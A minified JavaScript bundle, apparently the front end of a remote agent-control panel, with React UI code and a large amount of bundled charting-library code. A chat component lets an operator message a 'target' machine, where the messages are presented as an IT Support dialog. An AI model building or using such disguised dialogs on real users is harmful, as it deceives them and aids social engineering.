matches"})}),S.map((R,K)=>a.jsxs(Oh.Fragment,{children:[G(K)&&a.jsx("div",{className:"mx-2 my-1 border-b border-[#1a1a20]"}),a.jsxs("div",{className:"relative",onMouseEnter:()=>A(R.label,K),onMouseLeave:T,children:[a.jsxs("div",{className:`flex cursor-default items-center gap-2.5 px-3 py-[7px] transition-colors duration-100 ${d===R.label||y===K?z?"bg-[#16161c] text-zerin-text-muted":"bg-zerin-accent/15 text-zerin-accent":z?"text-zerin-text-muted":"text-[#b0b0b8] hover:bg-[#14141a]"}`,children:[a.jsx("span",{className:`${d===R.label||y===K?z?"text-zerin-text-muted":"text-zerin-accent":"text-[#4a4a54]"} transition-colors duration-100`,children:R.icon}),a.jsx("span",{className:"flex-1 text-[13px] font-medium leading-tight",children:R.label}),a.jsx("svg",{className:`h-3 w-3 flex-shrink-0 transition-all duration-100 ${d===R.label||y===K?"translate-x-0.5 text-zerin-accent/70":"text-[#3a3a44]"}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})})]}),d===R.label&&a.jsxs("div",{ref:u,className:`absolute top-0 z-[10000] min-w-[210px] border border-[#1a1a20] bg-[#0d0d11] py-1 shadow-2xl shadow-black/60 ctx-submenu-in ${D?"right-full mr-[1px]":"left-full ml-[1px]"}`,style:{backdropFilter:"blur(12px)",maxHeight:"calc(100vh - 16px)",overflowY:"auto"},children:[a.jsx("div",{className:"px-3 py-1.5 mb-0.5 border-b border-[#1a1a20]",children:a.jsx("span",{className:"text-[10px] font-medium uppercase tracking-wider text-[#3a3a44]",children:R.label})}),R.commands.map((_,M)=>{const F=z&&_.nav.action!=="remove"&&_.nav.action!=="ban",U=h_.has(_.key)||_.nav.action==="remove",V=x_.has(_.key)||_.nav.action==="ban",Z=p_.has(_.key),ae=j&&b===M;return a.jsxs("button",{onClick:()=>P(_),disabled:F,className:`flex w-full items-center justify-between gap-2 px-4 py-[7px] text-left text-[13px] transition-colors duration-75 ${U?ae?"bg-red-500/20 text-red-300 cursor-pointer":"cursor-pointer text-red-400 hover:bg-red-500/15 hover:text-red-300":V?ae?"bg-orange-500/20 text-orange-300 cursor-pointer":"cursor-pointer text-orange-400 hover:bg-orange-500/15 hover:text-orange-300":F?"cursor-not-allowed text-zerin-text-muted":ae?"bg-zerin-accent/20 text-zerin-accent cursor-pointer":"cursor-pointer text-[#b0b0b8] hover:bg-zerin-accent/15 hover:text-zerin-accent"}`,children:[a.jsx("span",{children:_.label}),Z&&!F&&sn.externalLink]},_.key)})]})]})]},R.label))]})]})})};function Dj({agentId:e,agentHostname:t,open:n,onClose:r}){const[i,s]=m.useState([]),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(!0),p=m.useRef(null),h=m.useRef(null),{lastMessage:x}=m.useContext(gd),g=m.useCallback(async()=>{try{const v=st(),b=await fetch(`/api/agents/${e}/chat`,{headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}}});if(b.ok){const w=await b.json();s(w)}}catch{}finally{f(!1)}},[e]);m.useEffect(()=>{n&&(f(!0),g())},[n,g]),m.useEffect(()=>{if(!n)return;const v=setInterval(g,3e3);return()=>clearInterval(v)},[n,g]),m.useEffect(()=>{if(!(!n||!x)&&x.type==="event"){const v=x.payload;v.event_type==="task_result"&&v.agent_id===e&&g()}},[x,n,e,g]),m.useEffect(()=>{var v;(v=p.current)==null||v.scrollIntoView({behavior:"smooth"})},[i]),m.useEffect(()=>{n&&setTimeout(()=>{var v;return(v=h.current)==null?void 0:v.focus()},100)},[n]);async function y(){if(!(!o.trim()||c)){u(!0);try{const v=st(),b=await fetch(`/api/agents/${e}/chat`,{method:"POST",headers:{"Content-Type":"application/json",...v?{Authorization:`Bearer ${v}`}:{}},body:JSON.stringify({message:o.trim()})});if(b.ok){l("");const w=await b.json();s(j=>[...j,{id:w.task_id+"-op",direction:"operator",sender:"you",message:o.trim(),timestamp:new Date().toISOString()}])}}catch{}finally{u(!1)}}}return n?a.jsx("div",{className:"fixed inset-0 z-[9998] flex items-center justify-center bg-black/50",children:a.jsxs("div",{className:"flex h-[600px] w-[480px] flex-col border border-zerin-panel-border bg-zerin-bg shadow-2xl",children:[a.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("svg",{className:"h-4 w-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),a.jsx("span",{className:"font-display text-sm font-semibold text-zerin-text",children:"Chat"}),a.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:t})]}),a.jsx("button",{onClick:r,className:"text-zerin-text-muted transition-colors hover:text-zerin-text",children:a.jsx("svg",{className:"h-4 w-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsxs("div",{className:"flex-1 overflow-y-auto px-4 py-3 space-y-3",children:[d?a.jsx("div",{className:"flex h-full items-center justify-center",children:a.jsx("span",{className:"text-sm text-zerin-text-muted",children:"Loading..."})}):i.length===0?a.jsxs("div",{className:"flex h-full flex-col items-center justify-center gap-2",children:[a.jsx("svg",{className:"h-8 w-8 text-zerin-text-muted/30",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),a.jsx("p",{className:"text-sm text-zerin-text-muted",children:"No messages yet"}),a.jsx("p",{className:"text-xs text-zerin-text-muted/60",children:"Send a message to start a conversation with the target"})]}):i.map(v=>a.jsx("div",{className:`flex ${v.direction==="operator"?"justify-end":"justify-start"}`,children:a.jsxs("div",{className:`max-w-[80%] px-3 py-2 ${v.direction==="operator"?"bg-zerin-accent/20 border border-zerin-accent/30":"bg-zerin-panel border border-zerin-panel-border"}`,children:[a.jsxs("div",{className:"flex items-center gap-2 mb-0.5",children:[a.jsx("span",{className:`text-[10px] font-semibold uppercase tracking-wider ${v.direction==="operator"?"text-zerin-accent":"text-zerin-text-muted"}`,children:v.direction==="operator"?v.sender:"Target"}),a.jsx("span",{className:"text-[10px] text-zerin-text-muted/50",children:w_(v.timestamp)})]}),a.jsx("p",{className:"text-sm text-zerin-text whitespace-pre-wrap break-words",children:v.message})]})},v.id)),a.jsx("div",{ref:p})]}),a.jsxs("div",{className:"border-t border-zerin-panel-border bg-zerin-panel px-4 py-3",children:[a.jsxs("div",{className:"flex gap-2",children:[a.jsx("input",{ref:h,type:"text",value:o,onChange:v=>l(v.target.value),onKeyDown:v=>{v.key==="Enter"&&!v.shiftKey&&(v.preventDefault(),y())},placeholder:"Type a message...",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text placeholder-zerin-text-muted text-sm font-sans\r + focus:outline-none focus:border-zerin-accent focus:ring-1 focus:ring-zerin-accent/30\r + transition-all duration-200`}),a.jsx("button",{onClick:y,disabled:!o.trim()||c,className:`bg-zerin-accent px-4 py-2 text-sm font-medium text-white\r + transition-colors hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed`,children:c?"...":"Send"})]}),a.jsx("p",{className:"mt-1.5 text-[10px] text-zerin-text-muted/50",children:"Messages appear as an IT Support dialog on the target machine"})]})]})}):null}function w_(e){try{return new Date(e).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"})}catch{return e}}const j_=({open:e,onClose:t,title:n,children:r})=>{const i=m.useRef(null);return m.useEffect(()=>{if(!e)return;const s=o=>{o.key==="Escape"&&t()};return document.addEventListener("keydown",s),()=>document.removeEventListener("keydown",s)},[e,t]),m.useEffect(()=>(e?document.body.style.overflow="hidden":document.body.style.overflow="",()=>{document.body.style.overflow=""}),[e]),e?a.jsxs("div",{className:"fixed inset-0 z-[9000] flex justify-end",children:[a.jsx("div",{className:"absolute inset-0 bg-black/60 transition-opacity",onClick:t}),a.jsxs("div",{ref:i,className:"animate-slide-in-right relative z-10 flex h-full w-[480px] max-w-[90vw] flex-col border-l border-zerin-panel-border bg-zerin-panel",children:[a.jsxs("div",{className:"flex items-center justify-between border-b border-zerin-panel-border px-6 py-4",children:[a.jsx("h2",{className:"font-display text-lg font-semibold text-zerin-text",children:n}),a.jsx("button",{onClick:t,className:"group flex h-8 w-8 items-center justify-center transition-colors hover:bg-zerin-panel-hover","aria-label":"Close panel",children:a.jsx("svg",{className:"h-4 w-4 text-zerin-text-dim transition-colors group-hover:text-zerin-text",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]}),a.jsx("div",{className:"custom-scrollbar flex-1 overflow-y-auto px-6 py-4",children:r})]})]}):null};function Rj(e){var t,n,r="";if(typeof e=="string"||typeof e=="number")r+=e;else if(typeof e=="object")if(Array.isArray(e)){var i=e.length;for(t=0;t{var{children:n,width:r,height:i,viewBox:s,className:o,style:l,title:c,desc:u}=e,d=P_(e,C_),f=s||{width:r,height:i,x:0,y:0},p=Qe("recharts-surface",o);return m.createElement("svg",Lp({},Ut(d),{className:p,width:r,height:i,style:l,viewBox:"".concat(f.x," ").concat(f.y," ").concat(f.width," ").concat(f.height),ref:t}),m.createElement("title",null,c),m.createElement("desc",null,u),n)}),__=["children","className"];function Ip(){return Ip=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=A_(e,__),s=Qe("recharts-layer",r);return m.createElement("g",Ip({className:s},Ut(i),{ref:t}),n)}),T_=m.createContext(null);function $e(e){return function(){return e}}const Wj=Math.cos,tu=Math.sin,Qn=Math.sqrt,nu=Math.PI,yd=2*nu,Dp=Math.PI,Rp=2*Dp,Fi=1e-6,M_=Rp-Fi;function Uj(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return Uj;const n=10**t;return function(r){this._+=r[0];for(let i=1,s=r.length;iFi)if(!(Math.abs(f*c-u*d)>Fi)||!s)this._append`L${this._x1=t},${this._y1=n}`;else{let h=r-o,x=i-l,g=c*c+u*u,y=h*h+x*x,v=Math.sqrt(g),b=Math.sqrt(p),w=s*Math.tan((Dp-Math.acos((g+p-y)/(2*v*b)))/2),j=w/b,N=w/v;Math.abs(j-1)>Fi&&this._append`L${t+j*d},${n+j*f}`,this._append`A${s},${s},0,0,${+(f*h>d*x)},${this._x1=t+N*c},${this._y1=n+N*u}`}}arc(t,n,r,i,s,o){if(t=+t,n=+n,r=+r,o=!!o,r<0)throw new Error(`negative radius: ${r}`);let l=r*Math.cos(i),c=r*Math.sin(i),u=t+l,d=n+c,f=1^o,p=o?i-s:s-i;this._x1===null?this._append`M${u},${d}`:(Math.abs(this._x1-u)>Fi||Math.abs(this._y1-d)>Fi)&&this._append`L${u},${d}`,r&&(p<0&&(p=p%Rp+Rp),p>M_?this._append`A${r},${r},0,1,${f},${t-l},${n-c}A${r},${r},0,1,${f},${this._x1=u},${this._y1=d}`:p>Fi&&this._append`A${r},${r},0,${+(p>=Dp)},${f},${this._x1=t+r*Math.cos(s)},${this._y1=n+r*Math.sin(s)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function Ox(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new I_(t)}function Tx(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function Vj(e){this._context=e}Vj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function bd(e){return new Vj(e)}function Hj(e){return e[0]}function Kj(e){return e[1]}function Gj(e,t){var n=$e(!0),r=null,i=bd,s=null,o=Ox(l);e=typeof e=="function"?e:e===void 0?Hj:$e(e),t=typeof t=="function"?t:t===void 0?Kj:$e(t);function l(c){var u,d=(c=Tx(c)).length,f,p=!1,h;for(r==null&&(s=i(h=o())),u=0;u<=d;++u)!(u=h;--x)l.point(w[x],j[x]);l.lineEnd(),l.areaEnd()}v&&(w[p]=+e(y,p,f),j[p]=+t(y,p,f),l.point(r?+r(y,p,f):w[p],n?+n(y,p,f):j[p]))}if(b)return l=null,b+""||null}function d(){return Gj().defined(i).curve(o).context(s)}return u.x=function(f){return arguments.length?(e=typeof f=="function"?f:$e(+f),r=null,u):e},u.x0=function(f){return arguments.length?(e=typeof f=="function"?f:$e(+f),u):e},u.x1=function(f){return arguments.length?(r=f==null?null:typeof f=="function"?f:$e(+f),u):r},u.y=function(f){return arguments.length?(t=typeof f=="function"?f:$e(+f),n=null,u):t},u.y0=function(f){return arguments.length?(t=typeof f=="function"?f:$e(+f),u):t},u.y1=function(f){return arguments.length?(n=f==null?null:typeof f=="function"?f:$e(+f),u):n},u.lineX0=u.lineY0=function(){return d().x(e).y(t)},u.lineY1=function(){return d().x(e).y(n)},u.lineX1=function(){return d().x(r).y(t)},u.defined=function(f){return arguments.length?(i=typeof f=="function"?f:$e(!!f),u):i},u.curve=function(f){return arguments.length?(o=f,s!=null&&(l=o(s)),u):o},u.context=function(f){return arguments.length?(f==null?s=l=null:l=o(s=f),u):s},u}class Yj{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function D_(e){return new Yj(e,!0)}function R_(e){return new Yj(e,!1)}const Mx={draw(e,t){const n=Qn(t/nu);e.moveTo(n,0),e.arc(0,0,n,0,yd)}},$_={draw(e,t){const n=Qn(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},qj=Qn(1/3),B_=qj*2,F_={draw(e,t){const n=Qn(t/B_),r=n*qj;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},W_={draw(e,t){const n=Qn(t),r=-n/2;e.rect(r,r,n,n)}},U_=.8908130915292852,Xj=tu(nu/10)/tu(7*nu/10),V_=tu(yd/10)*Xj,H_=-Wj(yd/10)*Xj,K_={draw(e,t){const n=Qn(t*U_),r=V_*n,i=H_*n;e.moveTo(0,-n),e.lineTo(r,i);for(let s=1;s<5;++s){const o=yd*s/5,l=Wj(o),c=tu(o);e.lineTo(c*n,-l*n),e.lineTo(l*r-c*i,c*r+l*i)}e.closePath()}},sm=Qn(3),G_={draw(e,t){const n=-Qn(t/(sm*3));e.moveTo(0,n*2),e.lineTo(-sm*n,-n),e.lineTo(sm*n,-n),e.closePath()}},bn=-.5,wn=Qn(3)/2,$p=1/Qn(12),Y_=($p/2+1)*3,q_={draw(e,t){const n=Qn(t/Y_),r=n/2,i=n*$p,s=r,o=n*$p+n,l=-s,c=o;e.moveTo(r,i),e.lineTo(s,o),e.lineTo(l,c),e.lineTo(bn*r-wn*i,wn*r+bn*i),e.lineTo(bn*s-wn*o,wn*s+bn*o),e.lineTo(bn*l-wn*c,wn*l+bn*c),e.lineTo(bn*r+wn*i,bn*i-wn*r),e.lineTo(bn*s+wn*o,bn*o-wn*s),e.lineTo(bn*l+wn*c,bn*c-wn*l),e.closePath()}};function X_(e,t){let n=null,r=Ox(i);e=typeof e=="function"?e:$e(e||Mx),t=typeof t=="function"?t:$e(t===void 0?64:+t);function i(){let s;if(n||(n=s=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),s)return n=null,s+""||null}return i.type=function(s){return arguments.length?(e=typeof s=="function"?s:$e(s),i):e},i.size=function(s){return arguments.length?(t=typeof s=="function"?s:$e(+s),i):t},i.context=function(s){return arguments.length?(n=s??null,i):n},i}function ru(){}function iu(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function Zj(e){this._context=e}Zj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:iu(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:iu(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Z_(e){return new Zj(e)}function Qj(e){this._context=e}Qj.prototype={areaStart:ru,areaEnd:ru,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:iu(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Q_(e){return new Qj(e)}function Jj(e){this._context=e}Jj.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:iu(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function J_(e){return new Jj(e)}function eN(e){this._context=e}eN.prototype={areaStart:ru,areaEnd:ru,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function eA(e){return new eN(e)}function ly(e){return e<0?-1:1}function cy(e,t,n){var r=e._x1-e._x0,i=t-e._x1,s=(e._y1-e._y0)/(r||i<0&&-0),o=(n-e._y1)/(i||r<0&&-0),l=(s*i+o*r)/(r+i);return(ly(s)+ly(o))*Math.min(Math.abs(s),Math.abs(o),.5*Math.abs(l))||0}function uy(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function om(e,t,n){var r=e._x0,i=e._y0,s=e._x1,o=e._y1,l=(s-r)/3;e._context.bezierCurveTo(r+l,i+l*t,s-l,o-l*n,s,o)}function au(e){this._context=e}au.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:om(this,this._t0,uy(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,om(this,uy(this,n=cy(this,e,t)),n);break;default:om(this,this._t0,n=cy(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function tN(e){this._context=new nN(e)}(tN.prototype=Object.create(au.prototype)).point=function(e,t){au.prototype.point.call(this,t,e)};function nN(e){this._context=e}nN.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,s){this._context.bezierCurveTo(t,e,r,n,s,i)}};function tA(e){return new au(e)}function nA(e){return new tN(e)}function rN(e){this._context=e}rN.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=dy(e),i=dy(t),s=0,o=1;o=0;--t)i[t]=(o[t]-i[t+1])/s[t];for(s[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function iA(e){return new wd(e,.5)}function aA(e){return new wd(e,0)}function sA(e){return new wd(e,1)}function ua(e,t){if((o=e.length)>1)for(var n=1,r,i,s=e[t[0]],o,l=s.length;n=0;)n[t]=t;return n}function oA(e,t){return e[t]}function lA(e){const t=[];return t.key=e,t}function cA(){var e=$e([]),t=Bp,n=ua,r=oA;function i(s){var o=Array.from(e.apply(this,arguments),lA),l,c=o.length,u=-1,d;for(const f of s)for(l=0,++u;l0){for(var n,r,i=0,s=e[0].length,o;i0){for(var n=0,r=e[t[0]],i,s=r.length;n0)||!((s=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,s,o;r1&&arguments[1]!==void 0?arguments[1]:pA,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function tt(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var l=n[o-1];return typeof l=="string"?i+l+s:l!==void 0?i+ui(l)+s:i+s},"")}var qt=e=>e===0?0:e>0?1:-1,mr=e=>typeof e=="number"&&e!=+e,da=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,ge=e=>(typeof e=="number"||e instanceof Number)&&!mr(e),Lr=e=>ge(e)||typeof e=="string",hA=0,$o=e=>{var t=++hA;return"".concat(e||"").concat(t)},fn=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!ge(t)&&typeof t!="string")return r;var s;if(da(t)){if(n==null)return r;var o=t.indexOf("%");s=n*parseFloat(t.slice(0,o))/100}else s=+t;return mr(s)&&(s=r),i&&n!=null&&s>n&&(s=n),s},sN=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):Ro(r,t))===n)}var Mt=e=>e===null||typeof e>"u",sl=e=>Mt(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function or(e){return e!=null}function bs(){}var xA=["type","size","sizeType"];function Fp(){return Fp=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(sl(e));return lN[t]||Mx},kA=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*jA;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},zA=(e,t)=>{lN["symbol".concat(sl(e))]=t},cN=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=bA(e,xA),s=my(my({},i),{},{type:t,size:n,sizeType:r}),o="circle";typeof t=="string"&&(o=t);var l=()=>{var p=NA(o),h=X_().type(p).size(kA(n,r,o)),x=h();if(x!==null)return x},{className:c,cx:u,cy:d}=s,f=Ut(s);return ge(u)&&ge(d)&&ge(n)?m.createElement("path",Fp({},f,{className:Qe("recharts-symbols",c),transform:"translate(".concat(u,", ").concat(d,")"),d:l()})):null};cN.registerSymbol=zA;var uN=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,Ix=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(m.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{Ax(i)&&(r[i]=s=>n[i](n,s))}),r},SA=(e,t,n)=>r=>(e(t,n,r),null),CA=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var s=e[i];Ax(i)&&typeof s=="function"&&(r||(r={}),r[i]=SA(s,t,n))}),r};function py(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function PA(e){for(var t=1;t(o[l]===void 0&&r[l]!==void 0&&(o[l]=r[l]),o),n);return s}var dN={},fN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let s=0;s=0}e.isLength=t})(hN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=hN;function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(zd);var xN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(xN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=zd,n=xN;function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})(pN);var vN={},gN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=jd;function n(r){return function(i){return t.get(i,r)}}e.property=n})(gN);var yN={},Rx={},bN={},$x={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})($x);var Bx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof n!="function"}e.isPrimitive=t})(Bx);var Fx={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.isEqualsSameValueZero=t})(Fx);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=$x,n=Bx,r=Fx;function i(d,f,p){return typeof p!="function"?i(d,f,()=>{}):s(d,f,function h(x,g,y,v,b,w){const j=p(x,g,y,v,b,w);return j!==void 0?!!j:s(x,g,h,w)},new Map)}function s(d,f,p,h){if(f===d)return!0;switch(typeof f){case"object":return o(d,f,p,h);case"function":return Object.keys(f).length>0?s(d,{...f},p,h):r.isEqualsSameValueZero(d,f);default:return t.isObject(d)?typeof f=="string"?f==="":!0:r.isEqualsSameValueZero(d,f)}}function o(d,f,p,h){if(f==null)return!0;if(Array.isArray(f))return c(d,f,p,h);if(f instanceof Map)return l(d,f,p,h);if(f instanceof Set)return u(d,f,p,h);const x=Object.keys(f);if(d==null||n.isPrimitive(d))return x.length===0;if(x.length===0)return!0;if(h!=null&&h.has(f))return h.get(f)===d;h==null||h.set(f,d);try{for(let g=0;g{})}e.isMatch=n})(Rx);var wN={},Wx={},jN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return 